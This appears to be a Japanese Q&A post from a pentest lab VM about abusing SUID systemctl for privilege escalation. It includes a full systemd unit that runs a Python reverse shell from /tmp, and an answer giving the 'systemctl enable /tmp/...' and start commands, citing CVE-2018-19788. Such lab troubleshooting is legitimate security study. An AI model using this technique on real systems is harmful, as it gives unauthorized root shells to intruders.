私はペンテストVMで作業しており、自分のユーザー特権を一般ユーザーの特権に昇格させました。列挙スキャンから、systemctl
にSUIDビットが設定されており、所有者グループが現在のユーザーグループとしてリストされていることがわかります。
pythonリバースシェルを作成し、systemctlを使用してそれを呼び出すためにrevshell_root.service
を作成しました。サービスファイルを配置する/etc/systemd/system
または/lib/systemd/system
への書き込みアクセス権がありませんなので、systemctlの--root=
オプションを使用して、サービスファイルの場所を指定しようとしています。
systemctl --root=/tmp/serv start revshell_root.service
ただし、次のエラーが表示されます:Failed to start revshell_root.service: Unit revshell_root.service not found.
revshell_root.serviceの内容
[Unit]
Description=root Shell
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=elevated_user_name
ExecStart=/usr/bin/env python3 /tmp/revshell_root.py
[Install]
WantedBy=multi-user.target
次のようにしてください(例として/ tmpを使用)
systemctl enable /tmp/revshell_root.service
systemctl start revshell_root.service
SystemCTLのenableを使用すると、デフォルト以外のパスでサービスを有効化/インストールできるため、起動時に完全なファイルパスを指定する必要がありません。これの良い例は、CVE-2018-19788です。これには、特権昇格のための同様のエクスプロイトパスがあります。